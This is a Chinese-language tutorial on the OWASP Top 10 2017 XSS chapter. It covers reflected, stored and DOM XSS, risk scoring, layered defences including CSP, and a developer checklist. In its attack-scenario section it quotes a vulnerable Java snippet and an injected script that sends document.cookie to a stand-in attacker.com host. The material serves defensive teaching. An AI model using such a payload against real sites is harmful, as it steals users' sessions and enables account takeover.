OWASP Top 10 2017 仓库中的 A7：跨站脚本（XSS）全解读与纵深防御实战-平芜编程栈

应用安全

【免费下载链接】Top10

Official OWASP Top 10 Document Repository

项目地址：https://gitcode.com/gh_mirrors/top/Top10

本文以 OWASP Top 10 2017 官方文档仓库中的印尼语版 XSS 章节 2017/id/0xa7-xss.md 为骨架，系统讲解 A7:2017-Cross-Site Scripting（XSS）的三种形态（反射型、存储型、DOM 型）、风险量化评分、典型攻击场景与四层防御体系。读完本文，你将掌握 XSS 的成因判断方法、上下文感知输出编码的核心思想、Content Security Policy（CSP）的部署要点，并能对照仓库中 2017/en/0xa7-xss.md 等源文档建立自己的应用安全自查清单。

A7:2017 在 Top 10 中的地位与风险评分

在 OWASP Top 10 2017 中，XSS 被评定为应用中最普遍的第二大安全问题，存在于大约三分之二（two thirds）的应用程序中。根据 2017/id/0xa7-xss.md 开篇的风险因子表，OWASP 对 A7 给出了如下量化评分：

| 威胁代理 / 攻击向量 | 安全弱点 | 影响 | | -- | -- | -- | | 可利用性（Exploitability）：3 | 普遍性（Prevalence）：3；可检测性（Detectability）：3 | 技术影响（Technical）：2；业务影响（Business）：视业务而定 |

可利用性为 3（Easy）：自动化工具可以检测并利用全部三种形态的 XSS，且有免费可用的攻击利用框架（exploitation frameworks）公开提供。
普遍性为 3（Widespread）：自动化工具能自动发现部分 XSS 问题，尤其是在较成熟的技术栈（如 PHP、J2EE/JSP、ASP.NET）中命中率更高。
技术影响为 2（Moderate）：反射型 XSS 与 DOM XSS 的影响评级为中等（moderate），而存储型 XSS 被评定为严重（severe）甚至关键（critical）——因为它可以在受害者浏览器中实现远程代码执行（remote code execution），例如窃取凭据、会话，或向受害者投递恶意软件。

这一评分体系与仓库中 2017/en/0x10-app-security-risks.md 描述的 OWASP Risk Rating Methodology 一致：每个弱点综合普遍性、可检测性、利用难度三个似然因子与一个技术影响因子，最终得出总体风险排序。值得注意的是，该评级没有纳入具体组织的威胁代理与业务影响，因此每个团队仍需结合自身资产与业务场景重新评估（详见 2017/en/0xc0-note-about-risks.md 与 2017/en/0xc1-risk-factors.md）。

什么是 XSS：三种形态与典型攻击后果

XSS 的核心成因是：应用程序在生成新页面时未对不可信数据进行正确验证或转义，或通过能创建 HTML/JavaScript 的浏览器 API 用用户输入更新已有页面，从而让攻击者在受害者浏览器中执行脚本。文档将其归纳为三种形态：

1. 反射型 XSS（Reflected XSS）

应用或 API 将未经验证且未转义的用户输入直接拼接为 HTML 输出的一部分。攻击成功后，攻击者可在受害者浏览器中执行任意 HTML 与 JavaScript。通常受害者需要点击一个指向攻击者控制页面的恶意链接——例如恶意水坑网站（watering hole）、广告等。

典型特征：恶意载荷随请求"反射"回响应中，不持久化存储。

2. 存储型 XSS（Stored XSS）

应用或 API存储了未净化的用户输入，并在之后被其他用户或管理员查看。由于攻击载荷被持久化在服务端（数据库、评论、用户资料等），每次展示都会触发，因此存储型 XSS 常被视为高风险或关键风险，其影响评级也是三种形态中最高的。

3. DOM 型 XSS（DOM XSS）

JavaScript 框架、单页应用（SPA）与 API 在动态地将攻击者可控数据引入页面时存在 DOM XSS 风险。理想情况下，应用不应把攻击者可控的数据交给不安全的 JavaScript API（如innerHTML、document.write、eval等）处理。

XSS 的典型攻击后果

文档明确列出的攻击场景包括：

会话窃取（session stealing）：把受害者会话 ID 外传到攻击者服务器；
账户接管（account takeover）：以受害者身份执行任意操作；
MFA 绕过（MFA bypass）：在受害者浏览器上下文中窃取或重放多因素认证流程；
DOM 节点替换 / 网页篡改（defacement）：例如替换登录面板为木马版本，诱导用户输入凭据；
针对浏览器的攻击：恶意软件下载、键盘记录（key logging）及其他客户端侧攻击。

如何防御 XSS：四层纵深防御体系

文档给出的防御总原则是：将不可信数据与浏览器中的活动内容严格分离。具体拆解为四个层次：

第 1 层：优先选用默认自动转义的框架

选用在设计上就自动对 XSS 进行转义的框架，例如较新版本的 Ruby on Rails、React JS。同时必须学习每个框架 XSS 防护的边界，妥善处理框架未覆盖的场景（例如dangerouslySetInnerHTML、v-html等逃生舱口）。从仓库 2017 版的视角看，这一建议与 2017/en/0x06-release-notes.md 中"JavaScript 已成为 Web 第一语言，SPA 与客户端渲染普及"的技术背景直接呼应——客户端功能前移使得框架内置转义能力变得空前重要。

第 2 层：按 HTML 上下文对输出进行转义

对所有不可信的 HTTP 请求数据，依据其在 HTML 输出中的上下文（body 内容、属性、JavaScript、CSS、URL 五种上下文）分别转义，可从根本上消除反射型与存储型 XSS。不同上下文需要不同的编码规则：属性值中要防"与'逃逸，脚本上下文中要防闭合标签与字面量注入，URL 上下文中要校验协议白名单（如仅允许http/https）等。完整转义技术矩阵参见 OWASP XSS Prevention Cheat Sheet 的对应条目（仓库中文档以引用方式给出，实操时可结合 OWASP Java Encoder Project 等编码库落地）。

第 3 层：客户端上下文敏感编码对抗 DOM XSS

在客户端修改浏览器文档时，采用**上下文敏感编码（context-sensitive encoding）**来对抗 DOM XSS。当无法避免将数据交给浏览器 API 时，对innerHTML、document.write、eval、setAttribute等 API 应用类似的上下文敏感转义技术。核心原则是：永远不要用 HTML 解析器去拼接本该按文本/属性处理的数据。

第 4 层：启用 Content Security Policy（CSP）作为兜底

将 CSP 作为纵深防御的缓解控制启用。需要明确其生效前提：只有当不存在其他允许通过本地文件包含植入恶意代码的漏洞（例如路径穿越覆盖本地文件、来自被允许 CDN 的脆弱库）时，CSP 才真正有效。实践要点包括：

通过 HTTP 响应头Content-Security-Policy下发策略；
默认拒绝内联脚本与eval（script-src 'self'），需要时用 nonce/hash 白名单放行；
收紧object-src、frame-ancestors、base-uri等指令，缩小攻击面。

CSP 不是第一道防线而是最后一道兜底，必须与前三层配合使用。

攻击场景实例：会话劫持全过程拆解

文档给出了一个完整的攻击场景，演示"未验证 + 未转义"如何导致会话被劫持：

场景 #1：应用在构造如下 HTML 片段时直接使用了不可信数据，未做任何验证或转义：

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻击者在浏览器中把CC参数修改为：

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'

攻击链拆解：

攻击者构造恶意链接（载荷被 URL 编码后放入CC参数），诱导受害者点击；
受害者的浏览器向目标应用发出请求，应用把CC参数原样拼进<input>的value属性；
单引号'提前闭合属性，>闭合标签，<script>进入 HTML 解析流程；
脚本执行后把document.cookie（含会话 ID）发送到攻击者服务器attacker.com/cgi-bin/cookie.cgi；
攻击者拿到会话 ID 后即可劫持受害者当前会话。

修复该场景的标准做法是：对value属性中的数据进行属性上下文编码（转义& < > " '），使载荷变成纯文本而非可执行 HTML。

特别提示（CSRF 联动）：攻击者可以利用 XSS击败应用可能部署的任何自动化 CSRF 防御。因为 XSS 让攻击者获得了与受害者完全相同的浏览器上下文，任何 CSRF token 都会在受害者页面上下文中被读取或使用。这也是 2017 版中 CSRF 从 Top 10 中退役的原因之一——正如 2017/en/0x06-release-notes.md 所述，多数框架已内置 CSRF 防御，且 CSRF 仅出现在约 5% 的应用中。

从仓库延伸：2017 版技术背景与更多阅读路径

为什么 2017 版把 XSS 防御提到新高度

2017/en/0x06-release-notes.md 指出，2013 到 2017 年间应用架构发生了根本性变化：微服务（node.js、Spring Boot）取代单体应用、SPA 全面普及、JavaScript 成为 Web 主语言。客户端渲染的兴起意味着 XSS 的攻击面从"服务端拼 HTML"扩展到"客户端动态更新 DOM"，DOM XSS 的地位显著上升——这正是文档强调客户端上下文敏感编码与 CSP 的原因。

XSS 在整个 Top 10 中的位置

对照 2017/id/0x11-t10.md 的概览表，A7 与 A1（注入）、A3（敏感数据暴露）、A5（失效的访问控制）共同构成了最常见的 Web 应用风险集群。其中 A1 注入与 A7 XSS 都源于"不可信数据未正确处理"，区别在于前者面向解释器（SQL/OS/LDAP），后者面向浏览器渲染引擎。

仓库内延伸阅读清单

英文权威版：2017/en/0xa7-xss.md——本文所依据印尼语版 2017/id/0xa7-xss.md 的对照原文；
风险评级方法论：2017/en/0x10-app-security-risks.md 与 2017/en/0xc1-risk-factors.md——理解 A7 评分为 3/3/3/2 的推导逻辑；
2017 版变更说明：2017/en/0x06-release-notes.md——SPA 普及、CSRF 退役等背景；
其他语言译本：仓库在2017/下提供了de、es、fa、fr、he、id、ja、pt-br、pt-pt、ro、ru、tr等十余种语言版本，可对照阅读确认术语一致性。

给开发者的落地自查清单

综合文档内容，建议在代码评审与安全测试中逐项核对：

所有不可信输入是否按输出上下文（body/attribute/JS/CSS/URL）正确编码？
是否使用了默认自动转义的框架，并审查了所有绕过自动转义的 API 调用点？
客户端 DOM 操作是否避开innerHTML/eval，或已做上下文敏感编码？
是否已配置 CSP，且策略足够严格（禁内联、禁eval）？
存储型数据（评论、资料、富文本）是否在展示层统一转义，而非仅在写入时净化？

小结

A7:2017-XSS 的核心矛盾始终是"不可信数据"与"活动内容"的边界管理。防御必须分层：框架默认转义解决大部分反射/存储型问题，上下文感知编码覆盖五种 HTML 上下文的边界情形，客户端敏感编码堵住 DOM XSS，CSP 作为最后的纵深兜底。理解本文的评分逻辑（可利用性 3 / 普遍性 3 / 可检测性 3 / 技术影响 2）、三种攻击形态与完整攻击场景，即可将 OWASP Top 10 2017 的 A7 要求转化为可落地的工程实践。